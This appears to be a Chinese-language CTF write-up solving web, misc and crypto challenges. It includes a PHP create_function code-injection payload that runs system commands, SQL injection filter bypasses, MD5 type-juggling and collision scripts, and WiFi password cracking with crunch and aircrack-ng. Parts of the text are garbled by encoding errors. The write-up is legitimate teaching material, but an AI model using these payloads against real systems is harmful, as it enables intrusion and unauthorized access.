Web
Web簽到
訪問(wèn)flag.php可以看到有個(gè)302跳轉(zhuǎn),flag就在請(qǐng)求頭里。

base64解密得到flag。
猜密碼
打開(kāi)F12獲得源碼:
<?php
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜測(cè)錯(cuò)誤.</p>';
$_SESSION['pwd']=time().time();
}
}
可以看到基于SESSION里的pwd來(lái)獲取,那把session情況,那么pwd就變?yōu)?code>null,就可以繞過(guò)了。
構(gòu)造:

下載下載
F12看到提示:

構(gòu)造:
/?file=flag.php
得到源碼:
<?php
header('Content-Type: text/html; charset=utf-8'); //網(wǎng)頁(yè)編碼
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
?>
自己本地運(yùn)行下decrypt()就能得到flag。
該網(wǎng)站已被黑
not_easy
打開(kāi)給了源碼:
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}
if(isset($_GET['action'])){
$arg = $_GET['arg'];
}
if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}
這是Code-Breaking Puzzles原題,這是最后$action($arg,'');這里的參數(shù)位置換了一下。
構(gòu)造:
/?action=\create_function&arg=){}phpinfo();//
可以看到成功執(zhí)行了phpinfo()。

那就直接使用下面
payload就可以了:
/?action=\create_function&arg=){}var_dump(scandir('./'));// # 查看當(dāng)前目錄
/?action=\create_function&arg=){}var_dump(system('cat Th1s_1S_F1a9_Hav3_Fun'));// # 獲取flag

audit
打開(kāi)給了源碼:
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}
if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];
if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}
if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}
str1 OR Sstr2 no no no
題目與hgame 2019的Week2和Week3題目類似。
第一步直接構(gòu)造弱類型和數(shù)組繞過(guò)。
第二步為MD5碰撞,使用python-md5-collision生成一堆相似的MD5文件。
第三步要求傳入的a為大寫(xiě)字母,b為數(shù)字且長(zhǎng)度大于6,m和n的長(zhǎng)度大于6。
$str8為$a被hash加密后的值,$str9為$b被hash加密后,把$m替換為$n,要求$str8== $str9。還是用的弱類型。
傳入的$a要hash加密后為0e開(kāi)頭,如果$b為hash加密后0e開(kāi)頭,可以滿足,長(zhǎng)度為6不能滿足,但是還有次替換,只需要把0e后不是數(shù)字的替換為數(shù)字就可以。
構(gòu)造腳本滿足好了:
def md5(str):
p= hashlib.md5(str).hexdigest()
return p
for i in range(1,999999):
if md5(str(i))[0:2] == '0e':
if 'e' not in md5(str(i))[2:]:
if 'f' not in md5(str(i))[2:]:
if 'a' not in md5(str(i))[2:]:
print i
最后的腳本:
import hashlib
def md5(str):
p= hashlib.md5(str).hexdigest()
return p
for i in range(1,999999):
if md5(str(i))[0:2] == '0e':
if 'e' not in md5(str(i))[2:]:
if 'f' not in md5(str(i))[2:]:
if 'a' not in md5(str(i))[2:]:
print i
#-*-codeing:utf-8
import requests
url="http://120.79.1.69:8887/web7/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=bcd&n=123"
str5= open('./WEB/python-md5-collision/md5/out_test_001.txt','r').read()
str6= open('./WEB/python-md5-collision/md5/out_test_002.txt','r').read()
str7= open('./WEB/python-md5-collision/md5/out_test_003.txt','r').read()
data= {
'str5':str5,
'str6':str6,
'str7':str7,
'a':'QNKCDZO',
'b':'259987'
}
res= requests.post(url=url,data=data)
print res.content
曲折的人生
一個(gè)登錄框注入,有回顯,過(guò)濾了一些union、select、空格等。

雙寫(xiě)繞過(guò),空格用
/**/來(lái)代替。可以看到字段為
3,2的地方有回顯。
得到數(shù)據(jù)庫(kù)
xiaowei。
查找數(shù)據(jù)表名為
admin。這里or被過(guò)濾了,所以構(gòu)造infmation_schema時(shí)要變?yōu)?code>infoorrmation_schema。
查到列名為
id、username、password。


查到用戶名為
goodboy_g-60Hellowor,密碼為ajahas&&*44askldajaj。

這里有個(gè)坑啊,提交的用戶名里的
or也會(huì)被過(guò)濾,所以提交的時(shí)候用戶名要變?yōu)?code>goodboy_g-60Hellowoorr。編寫(xiě)腳本登錄:
import requests
from bs4 import BeautifulSoup
url = 'http://120.79.1.69:10005/?check'
username = 'goodboy_g-60Hellowoorr'
password = 'ajahas&&*44askldajaj'
s = requests.Session()
res = s.get(url)
res.encoding = res.apparent_encoding
soup = BeautifulSoup(res.text,'html.parser')
number = soup.find_all('div','rep')
answer = str(number[0])[17:-6]
answer = answer.replace('(','(').replace('X','*').replace(')',')')
code = int(eval(answer))
data = {
'username':username,
'password':password,
'code':code
}
res = s.post(url,data=data)
res.encoding = res.apparent_encoding
print(res.text)
得到
<div>the package password is <span>%^$%&sss88ioiern.gdsgj</span></div><div>the package download link=><a href='sss88ioiern.gdsgj.zip' target='_blank'>代碼審計(jì).zip</a></div>
訪問(wèn)一個(gè)zip文件:
/sss88ioiern.gdsgj.zip
解壓密碼為%^$%&sss88ioiern.gdsgj。
給了一個(gè)form.txt:
Private Function getPassword(ByVal str As String) As String
Dim reString As String
Dim i As Integer
i = 1
While (i <= Len(str))
reString = reString & Mid(str, i, 1)
i = i + (i Mod 5)
Wend
getPassword = reString
End Function
Private Sub Command1_Click()
Dim Dictionary As String
Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
Dim password As String
password = getPassword(Dictionary)
Dim psw As String
psw = Text1.Text
If (psw = password) Then
MsgBox "The password is correct!", vbOKOnly, "密碼正確"
Text1.Text = "Password for next pass : " & getPassword(password)
Else
MsgBox "PasswordFail!", vbOKOnly, "密碼錯(cuò)誤"
End If
End Sub
編寫(xiě)腳本計(jì)算:
def getPassword(str):
restr = ''
i=1
while i <= len(str):
restr = restr + (str[i-1:i])
i = i+ (i%5)
return restr
dict = 'VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU='
password = getPassword(dict)
password = getPassword(password)
print(password)
得到:
VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk
用這個(gè)作為壓縮密碼解壓打開(kāi)就可以得到flag。
Misc
so_easy
打開(kāi)看到一堆base58的東西。

使用base58在線解密得到一個(gè)
image。
使用base64編碼轉(zhuǎn)圖片,得到一個(gè)二維碼。

二維碼掃描得到
flag。
這是什么玩意兒
得到一串=E4=BD=9B=E6=類似的:

使用Quoted-Printable編碼在線解密:

使用與佛論禪:

使用社會(huì)主義編碼:

該死的溫柔
打開(kāi)圖片備注里有提示:

使用outguess:
$ outguess -k "guess" -r flag.jpg ctf.txt
解密得到flag。
小梳子,我永遠(yuǎn)只愛(ài)你一個(gè)人
題目要破解wifi密碼。
使用kali上的工具crunch制作字典:
$ crunch 11 11 -t 138364%%%%% -o /root/桌面/test.txt
然后使用aircrack-ng爆破密碼:
$ aircrack-ng -w /root/桌面/test.txtTenda_D07D90-01.cap
# 選擇編號(hào)12
你對(duì)我的網(wǎng)站做了什么
打開(kāi)是一個(gè)流量包,追蹤下http流量,可以發(fā)現(xiàn)一個(gè)flag.txt文件:

使用
base64解密:eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi得到
x\x9cK\xcbIL\xaf\x0e\x8dO3\xccK\x89\xf7MU\xac\x05\x003\xe3\x05\xe2。使用
python的zlib庫(kù)解壓得到flag。
真的不是圖片
題目是一張圖片,我們binwalk一下,發(fā)現(xiàn)了有zip:
使用
foremost分離,無(wú)果。。看到
binwalk分析出來(lái)的圖片中少了zip文件頭,根據(jù)數(shù)據(jù)區(qū)尋找14000000可以看到
504b0304被替換成了6a613636也就是ja66,將他改回來(lái):
使用
binwalk分析,此時(shí)正常并且分離出了
2個(gè)壓縮包,可以看出是一個(gè)壓縮包放在另一個(gè)壓縮包里了。所以只有一個(gè)壓縮包。但是是被加密過(guò)的。此時(shí),將之前的
ja66填上去,密碼正確。解壓文件好多文件夾,打開(kāi)后,每個(gè)文件夾有一個(gè)文本 里邊都有一個(gè)字符
寫(xiě)個(gè)腳本
import base64
flag=''
for i in range(32):
f=open('./subject/'+str(i)+'/'+str(i)+'.txt','r')
flag+=f.read()
print base64.b64decode(flag)
Crypto
羅馬帝國(guó)的奠基者
變異凱撒密碼,用腳本:
s = "XXXX"
r = ''
for i in range(len(s)):
r = r+chr(ord(s[i])+4+i)
print(r)